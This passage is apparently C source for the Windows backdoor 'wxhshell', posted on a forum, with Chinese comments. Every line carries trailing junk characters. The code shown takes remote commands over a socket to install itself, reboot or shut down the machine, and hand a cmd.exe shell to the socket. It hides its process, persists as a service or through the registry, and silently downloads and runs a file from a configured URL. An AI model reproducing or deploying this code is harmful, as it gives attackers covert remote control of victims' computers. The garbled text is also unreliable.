    switch(cmd[0]) { +h^>?U,  
  | Zx  
  // 帮助 X=)Ue  
  case '?': { S(Md  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); < U`lh  
    break; M7{w7}B0@  
  } 8X`iMFa.P  
  // 安装 :U!knb"/>  
  case 'i': { ez_qG=J .  
    if(Install()) (y%}].[bB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @'`!2[2'?  
    else xlG/$`Ab  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YIo $  
    break; z><=F,W  
    } {Y-<#U~iH  
  // 卸载 "1>I/CM  
  case 'r': { !a?$  
    if(Uninstall()) o@j]yA.5)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [mph iH/  
    else IFNs)*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T6MlKcw,t  
    break; 6j{9\ R  
    } pMM,ox"  
  // 显示 wxhshell 所在路径 {vh}f+2  
  case 'p': { FOiwB^$ >  
    char svExeFile[MAX_PATH]; 2iHD$tw  
    strcpy(svExeFile,"\n\r"); 2= 'gC|&s6  
      strcat(svExeFile,ExeFile); ;n_|t/=  
        send(wsh,svExeFile,strlen(svExeFile),0);  {h/[!I `  
    break; ?.E6Ube  
    } ^6s<  
  // 重启 9,\b$?9  
  case 'b': { 5BnO-[3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]b!o(5m  
    if(Boot(REBOOT)) B}_*0D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0A\OZ^P8  
    else { xayo{l=uGv  
    closesocket(wsh); wJM})O%SQ  
    ExitThread(0); TUoEk  
    } ,K=\Y9l3  
    break; 8px@sXI*`  
    } ,>lOmyh  
  // 关机 . (G9mZFV  
  case 'd': { *4#)or  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )8]O|Z-CU  
    if(Boot(SHUTDOWN)) eS(\E0%QI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h^R EBPe  
    else { zu}oeAQc$  
    closesocket(wsh); _<pSCR0  
    ExitThread(0); ^6j: lL  
    } S0( ).2#  
    break; $qG;^1$  
    } cM%I5F+n  
  // 获取shell _$%.F| :  
  case 's': { _7r<RZ  
    CmdShell(wsh); RGFanP  
    closesocket(wsh); "L^]a$&  
    ExitThread(0); a^_\#,}  
    break; 0nUcUdIf+  
  } F#_JcEE  
  // 退出 U@21N3_@_  
  case 'x': {  SyFw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y J*`OU#  
    CloseIt(wsh); 21'I-j  
    break; tE3#Uq  
    } ^`>,~$Q  
  // 离开 /f_w@TR\{  
  case 'q': { 3lzjY.]Pgv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CY~]lQ  
    closesocket(wsh); +bpUb0.W  
    WSACleanup(); D/QSC]"  
    exit(1);  >d-By  
    break; ("07t/||  
        } R6l`IlG`  
  } A;ip V :)  
  } ZDEz&{3U;  
=@(&xfTC  
  // 提示信息 J%ng8v5ex  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4po zTe  
} n{sF'n</  
  } SQ%B"1&$D  
;NNYJqWd^]  
  return;  uYVlF@]  
} CT5\8C  
l~P%mVC3m  
// shell模块句柄 T-e'r  
int CmdShell(SOCKET sock) s2=rj?g&(X  
{ "(bnr0  
STARTUPINFO si; YaiogA  
ZeroMemory(&si,sizeof(si)); u^.7zL+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w#|uR^~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }ie  O  
PROCESS_INFORMATION ProcessInfo;  `{w.OK  
char cmdline[]="cmd"; #1fT\aP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t;005]'Mp  
  return 0; )e&U'Fx  
} n;&08M5an}  
EB R,j_  
// 自身启动模式 ]}7FTMGbY  
int StartFromService(void) ipzv]c&  
{ N{oi }i6  
typedef struct x!5b" "  
{ ; kPx@C   
  DWORD ExitStatus; 7<FI[  
  DWORD PebBaseAddress; [7x,&  
  DWORD AffinityMask; #dy z  
  DWORD BasePriority; ED0\k $  
  ULONG UniqueProcessId; 2ZTz{|y  
  ULONG InheritedFromUniqueProcessId; Bgb~Tz'  
}   PROCESS_BASIC_INFORMATION; KnL-qc  
e4:,W+g,9  
PROCNTQSIP NtQueryInformationProcess; ay~c@RXW  
{"{kWbXZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; matW>D;J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h-r\ 1{Q1]  
r{NCI  
  HANDLE             hProcess; P5$d#Y(=  
  PROCESS_BASIC_INFORMATION pbi; 0 D^d-R,  
fny|^F]w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y9V%eFY5E  
  if(NULL == hInst ) return 0; U\OfB'Dn  
TCShS}q;%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z[Sq7bbYO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'T=$Q%Qv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VF#2I %R*  
o[=h=&@5p  
  if (!NtQueryInformationProcess) return 0; |,YyuCQcL[  
6.#5Ra   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B%y?+4;zA  
  if(!hProcess) return 0; I*h%e,yIO  
: jgvg$fd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NsbC0xLd  
a'zXLlXgGd  
  CloseHandle(hProcess); @4sEHk 3  
R<\5 q%@G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HJ5 Ktt  
if(hProcess==NULL) return 0; jnF-kia  
!9 7U2L4  
HMODULE hMod; ^YVd^<cE  
char procName[255]; 'v|R' wi\  
unsigned long cbNeeded; jLc"1+  
&Bn> YFu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); + t%[$"$  
kT7x !7C  
  CloseHandle(hProcess); YoC{ t&rY  
Cn\5Vyrl  
if(strstr(procName,"services")) return 1; // 以服务启动 @:2<cn`  
op!ft/Yyb  
  return 0; // 注册表启动 *=yUs'brB  
} F7o#KN*.]  
R0 yPmh,{  
// 主模块 M:[rH  
int StartWxhshell(LPSTR lpCmdLine) }uZtAH|  
{ }G{'Rb  
  SOCKET wsl; [Eq7!_ 3  
BOOL val=TRUE; |A .U~P):  
  int port=0; K!AW8FnHkZ  
  struct sockaddr_in door; XSfl'Fll D  
U2hPsF4f  
  if(wscfg.ws_autoins) Install(); !V%h0OE\  
whH_<@!  
port=atoi(lpCmdLine); cx+w_D9b!  
tccw0  
if(port<=0) port=wscfg.ws_port; QmHj=s:x\  
v w.rkAGY  
  WSADATA data; oc|%|pmRd<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZnrsJ1f:  
p?@R0]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    5yA1<&z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3EY>XS  
  door.sin_family = AF_INET; 2YW| /o4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s)dL^lj;  
  door.sin_port = htons(port); So6ZNh9  
B|fh 4FNy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v d{`*|x  
closesocket(wsl); J&hzr t  
return 1; yW =I*f  
} M53{e;.kN  
wP|Amn+;  
  if(listen(wsl,2) == INVALID_SOCKET) { T O]wD^`  
closesocket(wsl); OV~]-5gau  
return 1; ^ <$$h  
} s (2/]f$  
  Wxhshell(wsl); 0c-.h  
  WSACleanup(); A'zXbp:%  
h)NZG6R  
return 0; / 5\gP//9K  
7O.?I# 76  
} S]"U(JmW\  
P0mY/bBU  
// 以NT服务方式启动 MbT;]Bo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p1BMQ?=($  
{ &EUI  
DWORD   status = 0; ]3KMFV}  
  DWORD   specificError = 0xfffffff; hRU5CH/!  
xr*%:TwCta  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CjQ)Bu *4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YK{E=<:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l-v(~u7  
  serviceStatus.dwWin32ExitCode     = 0; `] fud{  
  serviceStatus.dwServiceSpecificExitCode = 0; qj.>4d  
  serviceStatus.dwCheckPoint       = 0; g +RgDt9  
  serviceStatus.dwWaitHint       = 0; ^CBc~um2  
/W|=Or2oR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T A9Kg=_  
  if (hServiceStatusHandle==0) return; vC [uEx:  
 S6d&w6  
status = GetLastError(); ,P>xpfdK  
  if (status!=NO_ERROR) On`T pz/  
{ If*+yr|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w;OvZo|  
    serviceStatus.dwCheckPoint       = 0; 0[ BPmO6  
    serviceStatus.dwWaitHint       = 0; t@#l0lu$  
    serviceStatus.dwWin32ExitCode     = status; Lu][0+-  
    serviceStatus.dwServiceSpecificExitCode = specificError; prdc}~J8{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lSG"c+iV  
    return; \jpm   
  } W5SCm(QS5  
vyA `Z1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gi+ZI{)  
  serviceStatus.dwCheckPoint       = 0; W2`/z)[*>  
  serviceStatus.dwWaitHint       = 0; `;c{E%qeq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2=%R>&]*  
} 0K<|>I  
Cu $mb}@  
// 处理NT服务事件,比如:启动、停止 6Trtulm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !H^e$BA  
{ >^Z==1  
switch(fdwControl) F,.dC&B  
{ x|=]Xxco  
case SERVICE_CONTROL_STOP: J1\H^gyW)  
  serviceStatus.dwWin32ExitCode = 0; qib4DT$v-6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6rll0c~  
  serviceStatus.dwCheckPoint   = 0; />dH\KvN  
  serviceStatus.dwWaitHint     = 0; \i.Yhl:O  
  { HZl//Uq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V4CL% i  
  } JVe!(L4H  
  return; q(XO_1W0V  
case SERVICE_CONTROL_PAUSE: \' Z^rjB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {Q(R#$)5+  
  break; x-@}x@n&[  
case SERVICE_CONTROL_CONTINUE: hM NC]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JBK(N k  
  break; i.5?b/l0  
case SERVICE_CONTROL_INTERROGATE: 8q/3}AnI  
  break; S)\Yc=~h  
}; (/[wM>q:r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A dL>?SG%  
} T!YfCw.HZ  
;!9-I%e  
// 标准应用程序主函数 Q1 5h \!u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) it)!-[:bm  
{ Tya[6b!8  
XIRvIwO  
// 获取操作系统版本 ^V?W'~  
OsIsNt=GetOsVer(); 0K:3?Ik  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "/g\?Nce  
Z[GeU>?P  
  // 从命令行安装 5<77o|  
  if(strpbrk(lpCmdLine,"iI")) Install(); p 02E:?  
tPz!C&.=  
  // 下载执行文件 :$f9(f&  
if(wscfg.ws_downexe) { nsjrzO79L8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nl/~7({  
  WinExec(wscfg.ws_filenam,SW_HIDE); n:P++^ j  
} B(ZK\]  
5)=YTUCk  
if(!OsIsNt) { XNaiMpp'  
// 如果时win9x,隐藏进程并且设置为注册表启动 &fRZaq'2R  
HideProc(); *t_JR  
StartWxhshell(lpCmdLine); :(TOtrK@  
} ZQN%!2  
else "V>p  
  if(StartFromService()) J5#shs[M:  
  // 以服务方式启动 [eLU}4v{  
  StartServiceCtrlDispatcher(DispatchTable); N6<G`k,  
else \sc's7  
  // 普通方式启动 P^-daRb  
  StartWxhshell(lpCmdLine); #,jw! HO]  
~\o hH  
return 0; 8-geBlCE,  
}
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只看该作者 1 发表于: 2006-10-10
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